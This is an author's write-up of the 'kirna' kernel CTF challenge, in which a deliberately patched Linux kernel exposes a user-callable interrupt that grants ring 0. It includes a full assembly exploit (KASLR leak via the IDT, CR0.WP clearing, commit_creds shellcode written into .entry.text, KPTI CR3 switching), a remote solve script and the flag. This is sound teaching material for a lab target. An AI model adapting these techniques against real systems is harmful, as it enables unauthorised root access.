> For the complete documentation index, see [llms.txt](https://7-stars-servers.gitbook.io/docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://7-stars-servers.gitbook.io/docs/writeups/giew-2026/kirna.md).

# kirna

kernel exploitation chall i made who took some criticism

## Kirna — Kernel Pwn Writeup

> **Flag:** `N7{k3rn3l_3l3v4710n_15_n0t_4_pr0m0710n_1f_u_d0nt_h4v3_4_j0b...}`
>
> **Category:** Pwn (Kernel Exploitation)
>
> **Description:** *"You got elevated access. What are you doing with it?"*

***

### Table of Contents

1. Challenge Overview
2. Environment & Mitigations
3. Extracting the Kernel and Symbols
4. Analyzing the Vulnerability
5. Background: Privilege Rings and Interrupts
6. Exploitation Strategy
7. Phase 1: Promotion to Ring 0
8. Phase 1.1: KASLR Bypass via the IDT
9. Phase 1.2: Shellcode Construction
10. Phase 1.3: Injecting Shellcode into .entry.text
11. Phase 2: Executing the Shellcode
12. Phase 3: Return to Usermode as Root
13. Phase 4: Reading the Flag
14. Full Exploit Source
15. Solve Script
16. Complete Exploit Flow

***

### 1. Challenge Overview

A **Linux kernel exploitation** challenge. A custom-patched Linux 6.12.22 kernel runs inside QEMU. A deliberately introduced vulnerability lets a normal user (UID 1000) trigger privilege escalation to root (UID 0), after which the flag can be read.

#### Files Provided

| File             | Purpose                                 |
| ---------------- | --------------------------------------- |
| `bzImage`        | Compressed Linux 6.12.22 kernel image   |
| `rootfs.cpio.gz` | Root filesystem (busybox + init script) |
| `run.sh`         | QEMU launch script                      |

#### Goal

The flag is mounted as a raw block device (`/dev/sda`) via QEMU's `-hda flag.txt`. Only root can read raw block devices. We start as `user` (UID 1000).

***

### 2. Environment & Mitigations

#### `run.sh`

```bash
exec timeout 120 qemu-system-x86_64 \
    -m 128M \
    -nographic \
    -kernel /challenge/bzImage \
    -initrd /challenge/rootfs.cpio.gz \
    -append "console=ttyS0 kaslr pti=on oops=panic panic=1 quiet" \
    -no-reboot \
    -cpu kvm64 \
    -snapshot \
    -hda /challenge/flag.txt \
    -monitor /dev/null
```

| Parameter       | Relevance                                                 |
| --------------- | --------------------------------------------------------- |
| `-cpu kvm64`    | **No SMEP, no SMAP** — kernel can execute/read user pages |
| `kaslr`         | Kernel base randomized each boot — need info leak         |
| `pti=on`        | Page Table Isolation — kernel memory hidden from user PTs |
| `oops=panic`    | Any kernel fault kills the VM instantly — one shot        |
| `-hda flag.txt` | Flag served as raw block device `/dev/sda`                |

#### `/init` (initramfs)

```sh
echo 1 > /proc/sys/kernel/kptr_restrict   # hide /proc/kallsyms
echo 1 > /proc/sys/kernel/dmesg_restrict  # hide dmesg
exec cttyhack setuidgid 1000 sh           # start as UID 1000
```

#### Active Mitigations Summary

| Mitigation      | Status          | Impact                                            |
| --------------- | --------------- | ------------------------------------------------- |
| KASLR           | **ON**          | Must leak kernel base address                     |
| PTI (KPTI)      | **ON**          | Separate page tables; user pages NX in kernel PTs |
| SMEP            | **OFF** (kvm64) | Kernel CAN execute user pages                     |
| SMAP            | **OFF** (kvm64) | Kernel CAN read/write user pages                  |
| kptr\_restrict  | **ON**          | `/proc/kallsyms` hidden                           |
| dmesg\_restrict | **ON**          | `dmesg` hidden                                    |
| oops=panic      | **ON**          | Single attempt — no recovery                      |

***

### 3. Extracting the Kernel and Symbols

We need precise offsets of kernel symbols before writing the exploit.

#### Step 1: Extract `vmlinux` from `bzImage`

```bash
# Find the compressed kernel offset
binwalk bzImage | grep gzip
# e.g.: 14448   0x3870   gzip compressed data

dd if=bzImage bs=1 skip=14448 | gzip -d > vmlinux
```

Or use the official script:

```bash
scripts/extract-vmlinux bzImage > vmlinux
```

#### Step 2: Reconstruct ELF with symbols

```bash
pip install vmlinux-to-elf
vmlinux-to-elf vmlinux vmlinux_elf
```

#### Step 3: Extract key offsets

```bash
nm vmlinux_elf | grep -E "asm_exc_elevation|commit_creds|init_cred"
```

| Symbol              | Absolute Address (no KASLR) | Offset from `kernel_base` |
| ------------------- | --------------------------- | ------------------------- |
| `asm_exc_elevation` | `0xffffffff81c01d20`        | `0xc01d20`                |
| `commit_creds`      | `0xffffffff810be850`        | `0xbe850`                 |
| `init_cred`         | `0xffffffff822507a0`        | `0x12507a0`               |

The non-KASLR **kernel base** is `0xffffffff81000000`. With KASLR, a random aligned offset is added to all symbols equally.

***

### 4. Analyzing the Vulnerability

The kernel patch modifies three files.

#### Change 1: New vector constant (`irq_vectors.h`)

```c
#define IA32_SYSCALL_VECTOR   0x80   // existing: legacy 32-bit syscall
#define EXC_ELEVATION_VECTOR  0x82   // NEW: our target
```

Vector `0x82` is right after the 32-bit syscall vector. Interrupt vectors are 0–255 indices into the Interrupt Descriptor Table (IDT).

#### Change 2: IDT registration (`idt.c`)

```c
extern asmlinkage void asm_exc_elevation(void);

// Added to def_idts[]:
SYSG(EXC_ELEVATION_VECTOR, asm_exc_elevation),
```

`SYSG` registers the handler with **DPL=3** (Descriptor Privilege Level = 3).

| Macro  | DPL   | Who can invoke                  |
| ------ | ----- | ------------------------------- |
| `INTG` | 0     | Kernel only                     |
| `SYSG` | **3** | **Anyone (ring 3 / userspace)** |

With DPL=3, any user process can run `int 0x82`. Attempting `int N` on a DPL=0 gate from ring 3 causes a General Protection Fault instead.

#### Change 3: The handler (`entry_64.S`)

```asm
.section .entry.text, "ax"

SYM_CODE_START(asm_exc_elevation)
    pushq %rax                  ; save rax
    movq  %cs, %rax             ; rax = 0x10 (kernel CS, we're in the handler)
    movq  %rax, 16(%rsp)        ; overwrite saved CS in iret frame (was 0x33)
    xorq  %rax, %rax
    movq  %rax, 40(%rsp)        ; zero saved SS
    popq  %rax
    iretq                       ; return — but now CS=0x10 (ring 0)!
SYM_CODE_END(asm_exc_elevation)
```

**How this works — what the CPU pushes on `int 0x82` (ring 3 → ring 0):**

```
Kernel Stack (grows down):
  RSP+40  │   SS      │ 0x2b  ← user data segment
  RSP+32  │   RSP     │ user stack pointer
  RSP+24  │  RFLAGS   │ user flags
  RSP+16  │   CS      │ 0x33  ← user code (ring 3)
  RSP+ 8  │   RIP     │ instruction after int 0x82
  RSP+ 0  │   rax     │ pushed by handler
```

The handler **overwrites the saved CS** (at RSP+16) with `0x10` (kernel code segment, ring 0). When `iretq` pops these values, the CPU resumes our user code but with **CS=0x10**, meaning **we are now at ring 0** while executing in user address space.

**What ring 0 grants us:**

* Read/write control registers (CR0, CR3, CR4)
* `sidt`, `cli`, `swapgs`, `wrmsr`
* Write to any mapped page (after clearing CR0.WP)

**What we still cannot do yet:**

* Execute kernel functions (PTI hides them)
* Access kernel data (PTI hides it)

The `.entry.text` placement is intentional and critical — more on this below.

***

### 5. Background: Privilege Rings and Interrupts

#### Privilege Rings

Linux uses two privilege levels:

* **Ring 0** (kernel): full access. CS low 2 bits = 0. Selector `0x10`.
* **Ring 3** (user): restricted. CS low 2 bits = 3. Selector `0x33`.

#### Page Tables and PTI

With PTI enabled, Linux maintains two sets of page tables:

| Page Table Set | CR3 bits 11-12 | Kernel memory                      | User memory                         |
| -------------- | -------------- | ---------------------------------- | ----------------------------------- |
| User PTs       | `11` (set)     | Mostly absent (only `.entry.text`) | Present, executable                 |
| Kernel PTs     | `00` (clear)   | Fully mapped                       | Present but **NX** (non-executable) |

To switch: `cr3 = cr3 & ~0x1800` (kernel PTs) or `cr3 = cr3 | 0x1800` (user PTs).

**The NX problem:** In kernel PTs, user memory is mapped but not executable. So:

* From user PTs → can execute user code, cannot reach kernel data/functions.
* From kernel PTs → can reach kernel data/functions, cannot execute user code.

#### The `.entry.text` Section

Code that handles user↔kernel transitions must be mapped executable in **both** page tables. Linux puts it in `.entry.text`. This is the only kernel code executable from user PTs.

Our handler `asm_exc_elevation` is placed in `.entry.text`. This means:

1. It runs correctly during the ring 3→ring 0 transition.
2. **We can overwrite it from ring 0 with user PTs still active** (it's mapped there).
3. **Our shellcode, once written there, is executable even on kernel PTs** (it's `.entry.text`).

***

### 6. Exploitation Strategy

| Obstacle                                  | Solution                                                                                       |
| ----------------------------------------- | ---------------------------------------------------------------------------------------------- |
| KASLR hides kernel addresses              | After promotion, `sidt` to read IDT → parse `asm_exc_elevation` address → derive `kernel_base` |
| PTI: kernel code not on user PTs          | Write shellcode into `.entry.text` (mapped in both PTs)                                        |
| PTI: kernel data not on user PTs          | Shellcode itself switches CR3 to kernel PTs before calling `commit_creds`                      |
| `.entry.text` is read-only                | Clear CR0.WP bit (ring-0 privilege)                                                            |
| `prepare_kernel_cred(NULL)` may be broken | Use `commit_creds(&init_cred)` directly instead                                                |
| One shot (oops=panic)                     | Test locally; be precise                                                                       |

#### Three-Phase Plan

```
Phase 1 — ring 0, user PTs:
  1.  int 0x82       → promoted to ring 0 (CS patched in iret frame)
  2.  cli + swapgs   → disable interrupts, switch to kernel GS
  3.  sidt           → read IDT base address
  4.  parse IDT[0x82]→ get runtime asm_exc_elevation address → kernel_base
  5.  patch shellcode→ fill in init_cred + commit_creds addresses
  6.  clear CR0.WP   → copy shellcode over asm_exc_elevation in .entry.text
  7.  restore CR0.WP
  8.  int 0x82       → now triggers our shellcode

Phase 2 — shellcode in .entry.text, ring 0:
  9.  cr3 &= ~0x1800 → switch to kernel page tables
  10. commit_creds(&init_cred) → process is now UID 0
  11. cr3 |= 0x1800  → restore user page tables
  12. iretq          → return to Phase 3

Phase 3 — ring 0, user PTs, UID 0:
  13. swapgs         → restore user GS
  14. push iretq frame: SS=0x2b, RSP, RFLAGS, CS=0x33, RIP=.usermode
  15. iretq          → back to ring 3

Phase 4 — ring 3, UID 0:
  16. open("/dev/sda") → read → write(stdout) → flag
```

***

### 7. Phase 1: Promotion to Ring 0

#### Save user state

```asm
mov  [saved_cs],  cs
mov  [saved_ss],  ss
mov  rax, rsp
mov  [saved_rsp], rax
pushfq
pop  qword [saved_flags]
```

We save CS, SS, RSP, RFLAGS now so we can build a valid `iretq` frame to return to ring 3 later.

#### Trigger the promotion

```asm
int 0x82
; After this returns: CS = 0x10 (ring 0), everything else unchanged
```

#### Ring 0 housekeeping

```asm
cli       ; disable hardware interrupts — we are in a fragile state
swapgs    ; switch GS to kernel per-CPU data (needed before any kernel ops)
```

**Why `cli`?** A timer or device interrupt while we are on user PTs at ring 0 would crash the VM because the kernel interrupt path expects its own stack, GS, and page tables.

**Why `swapgs`?** The kernel uses GS to access per-CPU structures. After our `int 0x82`, GS still points to user TLS. We swap it to kernel GS, and will swap back before returning.

***

### 8. Phase 1.1: KASLR Bypass via the IDT

Now at ring 0 we can execute `sidt`, which stores the IDTR (IDT base address + limit). The IDT holds the runtime address of every interrupt handler including `asm_exc_elevation`.

#### Read the IDTR

```asm
sub  rsp, 16
sidt [rsp]         ; IDTR format: 2-byte limit | 8-byte base
mov  rdi, [rsp+2]  ; rdi = IDT base address
add  rsp, 16
```

#### Parse IDT gate for vector `0x82`

Each gate descriptor is 16 bytes. Vector `0x82` → offset `0x82 × 16 = 0x820`.

```
Gate descriptor layout (16 bytes):
  Bytes 0-1   : Offset[15:0]
  Bytes 2-3   : Segment selector
  Byte  4     : IST
  Byte  5     : Type/attributes (DPL, gate type)
  Bytes 6-7   : Offset[31:16]
  Bytes 8-11  : Offset[63:32]
  Bytes 12-15 : Reserved
```

```asm
lea  rsi, [rdi + 0x820]       ; &IDT[0x82]
movzx eax, word [rsi]         ; offset[15:0]
mov  edx, [rsi+8]             ; offset[63:32]
shl  rdx, 32
or   rax, rdx
movzx edx, word [rsi+6]      ; offset[31:16]
shl  rdx, 16
or   rax, rdx                 ; rax = full 64-bit handler address
```

#### Compute `kernel_base`

```asm
sub  rax, 0xc01d20    ; asm_exc_elevation is at kernel_base + 0xc01d20
mov  rbx, rax         ; rbx = kernel_base (preserved for remainder of exploit)
```

KASLR defeated.

***

### 9. Phase 1.2: Shellcode Construction

#### Why shellcode in `.entry.text`?

We cannot call `commit_creds` from user code because:

* On user PTs: kernel functions are not mapped.
* If we switch to kernel PTs first: our user code becomes non-executable (NX).

**Solution:** Write shellcode into `.entry.text`, which is executable in **both** page tables.

#### The Shellcode (41 bytes)

```
Offset  Bytes                            Assembly                 Purpose
------  -----                            --------                 -------
0x00    0f 20 d8                         mov  rax, cr3            save user PTs
0x03    50                               push rax
0x04    48 25 ff e7 ff ff               and  rax, ~0x1800        clear PTI bits → kernel PTs
0x0a    0f 22 d8                         mov  cr3, rax            switch to kernel page tables
0x0d    48 bf XX XX XX XX XX XX XX XX   movabs rdi, <init_cred>  1st arg to commit_creds
0x17    48 b8 XX XX XX XX XX XX XX XX   movabs rax, <commit_creds>
0x21    ff d0                            call rax                 commit_creds(&init_cred) → UID 0
0x23    58                               pop  rax                 restore user CR3
0x24    0f 22 d8                         mov  cr3, rax            back to user page tables
0x27    48 cf                            iretq                    return to caller
```

**Line by line:**

1. `mov rax, cr3` — capture current CR3 (user PTs; bits 11-12 are set).
2. `push rax` — save it for later.
3. `and rax, ~0x1800` — clear bits 11-12. This selects kernel PTs where all kernel memory is visible.
4. `mov cr3, rax` — immediately switch to kernel page tables.
5. `movabs rdi, &init_cred` — `init_cred` is a global `struct cred` with UID=0. Load its address as the first argument.
6. `movabs rax, &commit_creds` — load the function address.
7. `call rax` — `commit_creds(&init_cred)` sets our process's credentials to UID=0, GID=0, full capabilities.
8. `pop rax` — recover saved user CR3.
9. `mov cr3, rax` — switch back to user page tables (required before returning, since the return address is in user memory which is NX in kernel PTs).
10. `iretq` — pop SS, RSP, RFLAGS, CS, RIP from the interrupt frame and resume.

#### Patching the Shellcode with KASLR Addresses

The shellcode template has zeroed placeholders at offsets `0x0f` and `0x19`. We patch them:

```asm
; init_cred = kernel_base + 0x12507a0
lea  rax, [rbx + 0x12507a0]
mov  [rel shellcode + sc_init_off], rax

; commit_creds = kernel_base + 0xbe850
lea  rax, [rbx + 0xbe850]
mov  [rel shellcode + sc_cc_off], rax
```

***

### 10. Phase 1.3: Injecting Shellcode into `.entry.text`

#### Problem: `.entry.text` is read-only

Even at ring 0, the kernel enforces page protection via **CR0.WP (Write Protect, bit 16)**. When WP=1, ring 0 cannot write to read-only pages.

#### Solution: Clear CR0.WP

```asm
mov  rax, cr0
push rax                 ; save original CR0
and  eax, ~(1 << 16)    ; clear WP bit
mov  cr0, rax            ; ring 0 can now write anywhere
```

#### Copy shellcode

```asm
; dst: asm_exc_elevation = kernel_base + 0xc01d20
lea  rdi, [rbx + 0xc01d20]
; src: shellcode in our user .data (accessible because SMAP is off)
lea  rsi, [rel shellcode]
mov  ecx, 41             ; sc_len = 41 bytes (0x29)
rep  movsb
```

**Why does this work?**

* We cleared CR0.WP → write to read-only pages is allowed.
* Source is in user memory; destination is in kernel `.entry.text`.
* SMAP is off (kvm64 CPU) → ring 0 code can freely read user memory.
* `.entry.text` is mapped in user PTs so it's reachable at this point.

#### Restore CR0.WP

```asm
pop  rax
mov  cr0, rax
```

***

### 11. Phase 2: Executing the Injected Shellcode

```asm
int 0x82    ; this time asm_exc_elevation contains our shellcode
```

At this point we are at **ring 0** executing `int 0x82`. The CPU pushes a full iret frame (same-privilege, but still pushes SS/RSP/RFLAGS/CS/RIP in 64-bit mode). It then jumps to the IDT\[0x82] handler — which is now our shellcode.

Shellcode execution:

1. Switches CR3 to kernel PTs → `commit_creds` and `init_cred` are now accessible.
2. `commit_creds(&init_cred)` → our process credentials become UID=0.
3. Switches CR3 back to user PTs → our code is executable again.
4. `iretq` → returns to the instruction after `int 0x82`.

We are now back in our exploit code, at ring 0, **with UID=0 credentials**.

***

### 12. Phase 3: Return to Usermode as Root

We are still at ring 0. We must transition cleanly to ring 3 via `iretq`.

```asm
swapgs    ; restore user GS (we swapgs'd in Phase 1)

push qword [saved_ss]      ; SS   = 0x2b
push qword [saved_rsp]     ; RSP  = original user stack
push qword [saved_flags]   ; RFLAGS
push qword [saved_cs]      ; CS   = 0x33 (ring 3)
lea  rax, [rel .usermode]  ; RIP  = our usermode code
push rax
iretq                      ; CPU: ring 0 → ring 3, restore registers
```

After `iretq`:

* CS=0x33 → CPL=3 → ring 3.
* RIP → `.usermode` label.
* We are a normal user process at ring 3, but the kernel now thinks we are UID 0.

***

### 13. Phase 4: Reading the Flag

```asm
.usermode:
    ; Confirm uid == 0
    mov  eax, 102     ; SYS_getuid
    syscall
    test eax, eax
    jnz  .fail

    ; Print banner
    mov  eax, 1       ; SYS_write
    mov  edi, 1
    lea  rsi, [rel msg_ok]   ; "[+] r00t! Flag:\n"
    mov  edx, 16
    syscall

    ; open("/dev/sda", O_RDONLY)
    mov  eax, 2       ; SYS_open
    lea  rdi, [rel devpath]  ; "/dev/sda"
    xor  esi, esi
    xor  edx, edx
    syscall

    ; read(fd, buf, 4096)
    mov  edi, eax
    xor  eax, eax     ; SYS_read
    lea  rsi, [rel buf]
    mov  edx, 4096
    syscall

    ; write(1, buf, n)
    mov  edx, eax
    mov  eax, 1
    mov  edi, 1
    lea  rsi, [rel buf]
    syscall
```

**Why `/dev/sda`?** QEMU's `-hda flag.txt` exposes the flag file as a raw block device. Reading it as root gives the flag.

**Why not `system("cat /dev/sda")`?** Using `init_cred` directly means `fork()`/`exec()` will crash due to credential reference counting (init\_cred is global, not per-process). Direct `open`/`read`/`write` syscalls avoid this entirely.

***

### 14. Full Exploit Source

```asm
; kirna — kernel exploit  (pure asm, no libc)
; Build: nasm -f elf64 exploit.asm -o exploit.o && ld -o exploit exploit.o && strip exploit
; Result: ~8.4 KB stripped binary, ~569 bytes gzip-compressed

BITS 64

%define SYS_READ    0
%define SYS_WRITE   1
%define SYS_OPEN    2
%define SYS_GETUID  102
%define SYS_EXIT    60
%define O_RDONLY    0

; offsets from kernel base (Linux 6.12.22 + kirna patch)
%define HANDLER_OFF      0xc01d20
%define COMMIT_CREDS_OFF 0xbe850
%define INIT_CRED_OFF    0x12507a0

; IDT: vector 0x82 → gate at offset 0x82*16 = 0x820
%define IDT_GATE_OFF     0x820

section .data

    devpath:   db "/dev/sda", 0
    msg_ok:    db "[+] r00t! Flag:", 10
    msg_ok_len equ $ - msg_ok
    msg_fail:  db "[-] elevation failed", 10
    msg_fail_len equ $ - msg_fail

    shellcode:
        db 0x0f, 0x20, 0xd8              ; mov rax, cr3
        db 0x50                          ; push rax
        db 0x48, 0x25, 0xff, 0xe7, 0xff, 0xff ; and rax, ~0x1800
        db 0x0f, 0x22, 0xd8              ; mov cr3, rax  (→ kernel PTs)
        db 0x48, 0xbf                    ; movabs rdi, <init_cred>
    sc_init_off equ $ - shellcode
        dq 0                             ; patched at runtime
        db 0x48, 0xb8                    ; movabs rax, <commit_creds>
    sc_cc_off equ $ - shellcode
        dq 0                             ; patched at runtime
        db 0xff, 0xd0                    ; call rax
        db 0x58                          ; pop rax
        db 0x0f, 0x22, 0xd8             ; mov cr3, rax  (→ user PTs)
        db 0x48, 0xcf                    ; iretq
    sc_len equ $ - shellcode             ; = 41 bytes

section .bss
    buf:          resb 4096
    saved_cs:     resq 1
    saved_ss:     resq 1
    saved_rsp:    resq 1
    saved_flags:  resq 1

section .text
    global _start

_start:
    ; save user state for later iretq
    mov  [saved_cs],  cs
    mov  [saved_ss],  ss
    mov  rax, rsp
    mov  [saved_rsp], rax
    pushfq
    pop  qword [saved_flags]

    ; Phase 1: int 0x82 → handler sets CS=0x10 in iret frame → ring 0
    int  0x82
    cli
    swapgs

    ; KASLR bypass: read IDT, parse gate 0x82
    sub  rsp, 16
    sidt [rsp]
    mov  rdi, [rsp+2]        ; IDT base
    add  rsp, 16

    lea  rsi, [rdi + IDT_GATE_OFF]
    movzx eax, word [rsi]    ; offset[15:0]
    mov  edx, [rsi+8]        ; offset[63:32]
    shl  rdx, 32
    or   rax, rdx
    movzx edx, word [rsi+6] ; offset[31:16]
    shl  rdx, 16
    or   rax, rdx            ; rax = asm_exc_elevation runtime addr

    sub  rax, HANDLER_OFF    ; rax = kernel_base
    mov  rbx, rax

    ; patch shellcode with KASLR-adjusted addresses
    lea  rax, [rbx + INIT_CRED_OFF]
    mov  [rel shellcode + sc_init_off], rax
    lea  rax, [rbx + COMMIT_CREDS_OFF]
    mov  [rel shellcode + sc_cc_off], rax

    ; clear CR0.WP, copy shellcode → .entry.text
    mov  rax, cr0
    push rax
    and  eax, ~(1 << 16)
    mov  cr0, rax

    lea  rdi, [rbx + HANDLER_OFF]
    lea  rsi, [rel shellcode]
    mov  ecx, sc_len
    rep  movsb

    pop  rax
    mov  cr0, rax

    ; Phase 2: fire patched handler → commit_creds(&init_cred)
    int  0x82

    ; Phase 3: return to ring 3
    swapgs
    push qword [saved_ss]
    push qword [saved_rsp]
    push qword [saved_flags]
    push qword [saved_cs]
    lea  rax, [rel .usermode]
    push rax
    iretq

.usermode:
    ; Phase 4: read flag as root
    mov  eax, SYS_GETUID
    syscall
    test eax, eax
    jnz  .fail

    mov  eax, SYS_WRITE
    mov  edi, 1
    lea  rsi, [rel msg_ok]
    mov  edx, msg_ok_len
    syscall

    mov  eax, SYS_OPEN
    lea  rdi, [rel devpath]
    xor  esi, esi
    xor  edx, edx
    syscall
    test eax, eax
    js   .exit

    mov  edi, eax
    xor  eax, eax
    lea  rsi, [rel buf]
    mov  edx, 4096
    syscall

    mov  edx, eax
    mov  eax, SYS_WRITE
    mov  edi, 1
    lea  rsi, [rel buf]
    syscall
    jmp  .exit

.fail:
    mov  eax, SYS_WRITE
    mov  edi, 1
    lea  rsi, [rel msg_fail]
    mov  edx, msg_fail_len
    syscall

.exit:
    mov  eax, SYS_EXIT
    xor  edi, edi
    syscall
```

Build:

```bash
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit exploit.o
strip exploit
# Result: 8.4 KB binary → 569 B gzip → 760 B base64
```

***

### 15. Solve Script

```python
#!/usr/bin/env python3
from pwn import *
import base64, gzip, sys, os

HOST = sys.argv[1] if len(sys.argv) > 1 else "localhost"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337

with open("exploit", "rb") as f:
    raw = f.read()

gz  = gzip.compress(raw, compresslevel=9)
b64 = base64.b64encode(gz).decode()
log.info(f"Payload: {len(raw)} B → {len(gz)} B gz → {len(b64)} B b64")

r = remote(HOST, PORT)
log.info("Waiting for QEMU boot…")
r.recvuntil(b"$ ", timeout=90)
sleep(0.3)

# Upload in 512-byte chunks (no wget/curl in busybox initramfs)
CHUNK = 512
chunks = [b64[i:i+CHUNK] for i in range(0, len(b64), CHUNK)]
log.info(f"Uploading {len(chunks)} chunk(s)…")

for chunk in chunks:
    r.sendline(f"echo -n '{chunk}'>>/tmp/b".encode())
    sleep(0.05)

r.sendline(b"echo DONE")
r.recvuntil(b"DONE", timeout=15)
sleep(0.3)

r.sendline(b"base64 -d /tmp/b | gunzip > /tmp/e && chmod +x /tmp/e")
sleep(1.5)

r.sendline(b"/tmp/e 2>&1; echo STATUS=$?")
data = r.recvall(timeout=12)
log.success(data.decode(errors="replace"))
```

#### Remote execution output

```
[*] Payload: 8632 B raw  →  569 B gz  →  760 B b64
[+] Opening connection to localhost on port 1337: Done
[*] Waiting for QEMU to boot (up to 90 s)...
[*] Uploading 2 chunk(s)…
[*] Firing exploit…
[+] r00t! Flag:
N7{k3rn3l_3l3v4710n_15_n0t_4_pr0m0710n_1f_u_d0nt_h4v3_4_j0b...}
STATUS=0
```

***

### 16. Complete Exploit Flow

```
┌─────────────────────────────────────────────────────────┐
│ USERSPACE  Ring 3  UID 1000                             │
│  1. Save CS/SS/RSP/RFLAGS                               │
│  2. int 0x82                                            │
│     CPU pushes iret frame, calls asm_exc_elevation      │
│     Handler overwrites saved CS: 0x33 → 0x10            │
│     iretq — we resume here                              │
└────────────────────┬────────────────────────────────────┘
                     │ CS = 0x10 (ring 0)
                     ▼
┌─────────────────────────────────────────────────────────┐
│ USER CODE  Ring 0  User PTs                             │
│  3. cli + swapgs                                        │
│  4. sidt → IDT base                                     │
│  5. parse IDT[0x82] → asm_exc_elevation addr            │
│  6. kernel_base = addr − 0xc01d20                       │
│  7. patch shellcode: init_cred, commit_creds addresses  │
│  8. cr0 &= ~WP; memcpy(shellcode → .entry.text); cr0    │
│  9. int 0x82  (triggers patched shellcode now)          │
└────────────────────┬────────────────────────────────────┘
                     │ CPU jumps to shellcode in .entry.text
                     ▼
┌─────────────────────────────────────────────────────────┐
│ SHELLCODE  .entry.text  Ring 0                          │
│ 10. cr3 &= ~0x1800  (→ kernel PTs)                      │
│ 11. commit_creds(&init_cred)  → UID 0                   │
│ 12. cr3 = saved user CR3     (→ user PTs)               │
│ 13. iretq → back to step 14                             │
└────────────────────┬────────────────────────────────────┘
                     │ iretq
                     ▼
┌─────────────────────────────────────────────────────────┐
│ USER CODE  Ring 0  User PTs  UID 0                      │
│ 14. swapgs                                              │
│ 15. push iretq frame (SS, RSP, RFLAGS, CS=0x33, RIP)    │
│ 16. iretq → ring 3                                      │
└────────────────────┬────────────────────────────────────┘
                     │ Ring 0 → Ring 3
                     ▼
┌─────────────────────────────────────────────────────────┐
│ USERSPACE  Ring 3  UID 0  (ROOT)                        │
│ 17. getuid() == 0  ✓                                    │
│ 18. open("/dev/sda", O_RDONLY)                          │
│ 19. read(fd, buf, 4096)                                 │
│ 20. write(stdout, buf, n)                               │
│                                                         │
│ N7{k3rn3l_3l3v4710n_15_n0t_4_pr0m0710n_1f_u...}        │
└─────────────────────────────────────────────────────────┘
```
